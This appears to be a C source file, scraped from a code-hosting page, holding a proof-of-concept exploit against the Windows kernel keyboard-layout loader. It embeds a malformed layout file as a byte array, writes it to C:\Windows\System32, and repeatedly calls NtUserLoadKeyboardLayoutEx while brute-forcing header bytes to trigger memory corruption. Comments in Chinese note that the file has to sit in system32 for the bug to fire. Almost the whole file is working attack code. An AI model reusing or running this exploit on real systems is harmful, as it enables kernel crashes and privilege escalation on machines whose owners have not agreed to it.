unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00 base=fdbbca98 fdbbca00 02443500
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"//
|
||||||
|
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
|
||||||
|
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00";
|
||||||
|
|
||||||
|
;
|
||||||
|
UNICODE_STRING uStr;
|
||||||
|
UNICODE_STRING uKerbordname;
|
||||||
|
|
||||||
|
VOID boom_loadlayout()
|
||||||
|
{
|
||||||
|
|
||||||
|
KEYBDINPUT kb={0};
|
||||||
|
INPUT vInput={0};
|
||||||
|
|
||||||
|
HANDLE hFile;
|
||||||
|
DWORD dwFuckS0ny;
|
||||||
|
|
||||||
|
HKL hKbd;
|
||||||
|
|
||||||
|
WCHAR lpPath[MAX_PATH]={0};
|
||||||
|
WCHAR lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"};
|
||||||
|
|
||||||
|
LPVOID lpShellPtr;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
//strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath);
|
||||||
|
|
||||||
|
hFile = CreateFileW(lpLayoutFile,
|
||||||
|
GENERIC_READ|GENERIC_WRITE,
|
||||||
|
FILE_SHARE_READ|FILE_SHARE_WRITE,
|
||||||
|
0,
|
||||||
|
CREATE_ALWAYS,
|
||||||
|
0,0);
|
||||||
|
|
||||||
|
if( hFile == INVALID_HANDLE_VALUE )
|
||||||
|
{
|
||||||
|
printf(" \n[!!] Error:errorcode:%x\n",GetLastError());
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteFile( hFile,
|
||||||
|
fakeDll2,
|
||||||
|
sizeof(fakeDll2)-1,
|
||||||
|
&dwFuckS0ny,
|
||||||
|
NULL);
|
||||||
|
//printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
|
||||||
|
hFile = CreateFileW (lpLayoutFile,
|
||||||
|
GENERIC_READ,
|
||||||
|
FILE_SHARE_READ,
|
||||||
|
0,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
0,0);
|
||||||
|
|
||||||
|
if( hFile == INVALID_HANDLE_VALUE )
|
||||||
|
{
|
||||||
|
printf(" \n[!!] Error\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
|
||||||
|
printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101
|
||||||
|
/*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle,
|
||||||
|
IN DWORD offTable,
|
||||||
|
IN PUNICODE_STRING puszKeyboardName,
|
||||||
|
IN HKL hKL,
|
||||||
|
IN PUNICODE_STRING puszKLID,
|
||||||
|
IN DWORD dwKLID,
|
||||||
|
IN UINT Flags
|
||||||
|
) */
|
||||||
|
//win7下面这个函数是个参数来其中offTable拆分成个
|
||||||
|
//文件一定要放在system32目录下面不然触发不了
|
||||||
|
|
||||||
|
|
||||||
|
CloseHandle(hFile);
|
||||||
|
//printf("\n[+] Done\n");
|
||||||
|
}
|
||||||
|
int _tmain(int argc, _TCHAR* argv[])
|
||||||
|
{
|
||||||
|
|
||||||
|
LoadLibraryA("user32.dll");
|
||||||
|
InitializeUnicodeStr(&uStr,L"p3d.dll");//现在必须小于长度
|
||||||
|
//fix by instruder
|
||||||
|
InitializeUnicodeStr(&uKerbordname,L"A");
|
||||||
|
uKerbordname.MaximumLength=0;
|
||||||
|
|
||||||
|
for (int j=0;j<=2;j++)
|
||||||
|
{
|
||||||
|
for (int i1=0;i1<=0xff;i1++)
|
||||||
|
{
|
||||||
|
for (int i2=0;i2<0xff;i2++)
|
||||||
|
{
|
||||||
|
printf("%x,%x\n",i1,i2);
|
||||||
|
fakeDll2[0x3d]=i1;
|
||||||
|
fakeDll2[0x3e]=i2;
|
||||||
|
fakeDll2[0x3f]=j;
|
||||||
|
boom_loadlayout();
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}//
|
||||||
|
|
||||||
Loading…
Add table
Reference in a new issue